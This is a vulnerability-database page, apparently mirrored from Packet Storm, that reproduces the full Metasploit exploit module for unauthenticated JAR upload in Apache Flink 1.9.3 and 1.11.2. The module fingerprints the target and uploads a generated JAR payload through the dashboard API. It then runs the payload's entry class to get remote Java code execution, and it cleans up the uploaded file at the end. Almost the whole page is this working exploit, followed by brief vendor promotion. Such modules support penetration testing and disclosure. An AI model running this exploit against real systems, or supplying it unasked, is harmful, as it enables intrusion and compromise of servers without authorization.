Lucene search
K

Apache Flink JAR Upload Java Code Execution

🗓️ 23 Feb 2021 00:00:00Reported by Brendan ColesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 196 Views

Apache Flink JAR Upload Java Code Execution vulnerability in versions 1.9.3 and 1.11.2 allows remote execution of arbitrary Java code

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Flink JAR Upload Java Code Execution',  
'Description' => %q{  
This module uses job functionality in Apache Flink dashboard web  
interface to upload and execute a JAR file, leading to remote  
execution of arbitrary Java code as the web server user.  
  
This module has been tested successfully on Apache Flink versions:  
1.9.3 on Ubuntu 18.04.4;  
1.11.2 on Ubuntu 18.04.4;  
1.9.3 on Windows 10; and  
1.11.2 on Windows 10.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Henry Chen', # Initial technique demonstration and writeup  
'bigger.wing', # Python exploit  
'bcoles' # Metasploit module  
],  
'References' =>  
[  
['EDB', '48978'],  
['PACKETSTORM', '159779'],  
['URL', 'https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-'],  
['URL', 'https://s.tencent.com/research/bsafe/841.html'],  
['URL', 'https://cloud.tencent.com/developer/article/1540439'],  
['URL', 'https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/'],  
],  
'Platform' => 'java',  
'Arch' => [ARCH_JAVA],  
'Targets' =>  
[  
['Automatic', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => '2019-11-13',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION]  
}  
)  
)  
  
register_options([  
Opt::RPORT(8081)  
])  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'config')  
})  
  
unless res  
return CheckCode::Unknown('No reply.')  
end  
  
unless res.body.include?('flink')  
return CheckCode::Safe('Target is not Apache Flink.')  
end  
  
version = res.get_json_document['flink-version']  
if version  
return CheckCode::Appears("Apache Flink version #{version}.")  
end  
  
CheckCode::Appears  
end  
  
def delete_jar(filename)  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'jars', filename),  
'method' => 'DELETE',  
'ctype' => 'application/json;charset=UTF-8'  
)  
end  
  
def list_jars  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'jars'),  
'method' => 'GET'  
)  
end  
  
def upload_jar(filename, data)  
post_data = Rex::MIME::Message.new  
post_data.add_part(data, 'application/x-java-archive', 'binary', "form-data; name=\"jarfile\"; filename=\"#{filename}\"")  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'jars', 'upload'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s  
)  
end  
  
def run_jar(filename, entry_class)  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'jars', filename, 'run'),  
'method' => 'POST',  
'ctype' => 'application/json;charset=UTF-8',  
'vars_get' => {  
'entry-class' => entry_class  
},  
'data' => {  
entryClass: entry_class,  
parallelism: nil,  
programArgs: nil,  
savepointPath: nil,  
allowNonRestoredState: nil  
}.to_json  
)  
end  
  
def cleanup  
return unless @jar  
  
print_status("Removing JAR file '#{@jar}' ...")  
  
res = delete_jar(@jar)  
  
unless res && res.code == 200  
print_warning("Cleanup failed. Could not remove JAR file '#{@jar}'")  
end  
end  
  
def exploit  
data = generate_payload.encoded_jar.pack  
fail_with(Failure::Unknown, 'Failed to generate the JAR payload.') unless data  
  
filename = "#{rand_text_alpha(8..12)}.jar"  
  
print_status("Uploading JAR payload '#{filename}' (#{data.length} bytes) ...")  
  
res = upload_jar(filename, data)  
  
unless res  
fail_with(Failure::Unreachable, 'JAR upload failed. No reply.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "JAR upload failed. Unexpected reply (HTTP #{res.code}).")  
end  
  
unless res.get_json_document['status'] == 'success'  
fail_with(Failure::UnexpectedReply, 'JAR upload failed. Unexpected reply.')  
end  
  
print_status('Retrieving list of avialable JAR files ...')  
  
res = list_jars  
  
unless res  
fail_with(Failure::Unreachable, 'Could not list available JARs. No reply.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "Could not list available JARs. Unexpected reply (HTTP #{res.code}).")  
end  
  
jars = res.get_json_document['files']  
  
if jars.blank?  
fail_with(Failure::UnexpectedReply, 'Could not list available JARs. No JAR files available.')  
end  
  
jars.each do |jar|  
if jar['name'] == filename  
@jar = jar['id']  
break  
end  
end  
  
unless @jar  
fail_with(Failure::UnexpectedReply, 'Could not retrieve JAR file name.')  
end  
  
print_good("Found uploaded JAR file '#{@jar}'")  
  
entry_class = 'metasploit.Payload'  
print_status("Executing JAR payload '#{@jar}' entry class '#{entry_class}' ...")  
  
run_jar(@jar, entry_class)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation